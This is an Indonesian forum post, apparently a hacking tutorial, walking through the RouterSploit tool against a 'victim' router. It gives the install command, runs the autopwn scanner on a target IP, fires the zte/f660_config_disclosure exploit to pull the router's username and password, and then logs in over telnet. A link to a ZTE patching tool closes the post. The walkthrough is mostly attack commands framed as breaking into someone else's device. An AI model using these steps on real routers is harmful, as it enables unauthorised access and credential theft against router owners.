[tong]

Assalamuallaikum
Kali ini saya mau share tools untuk eksploitasi pada router, tidak semua router bisa di eksploitasi dengan RouterSploit, hanya yang vulnerable saja pada module
yang sudah di sediakan.

Untuk instalasi pada OSX & Ubuntu bisa dilihat di sini https://github.com/reverse-shell/routers...buntu-1604

Installation

Code:

git clone https://github.com/reverse-shell/routersploit

Nah disini saya sudah mendapatkan victim, jangan lupa scan dulu dengan module autopwn, untuk mengecek apakah router vulnerable dengan module yang disediakan oleh RouterSploit.

Spoiler! :

Usage

Code:

python rsf.py
use scanners/autopwn
set target "ip victim"

Spoiler! :

kemudian jalankan module

Code:

run

Spoiler! :

Ternyata router vulnerable, langsung saja kita exploit router dengan module yang direkomendasikan RouterSploit. Disini saya gunakan module zte/f660_config_disclosure

Code:

use exploits/zte/f660_config_disclosure
set target "ip victim"
run

Spoiler! :

wow, exploit berhasil, saya mendapatkan username dan password router, mari coba kita login ke telnet server pada modem router

Code:

telnet "ip victim"

Spoiler! :

wew, login sukses vroh
ow iya, untuk update toolsnya juga simple kok

Update

Code:

cd routersploit
git pull

Demikianlah mengenai tools RouterSploit
Terimakasih dan semoga bermanfaat

source :

• https://www.reverse-shell.com/
  
• https://github.com/reverse-shell/routersploit
  

Patching ZTE F6XX Router
Nih buat yang mau ngamanin routernya, tools buatan om @devilscream_

• https://github.com/devilscream/zte-patch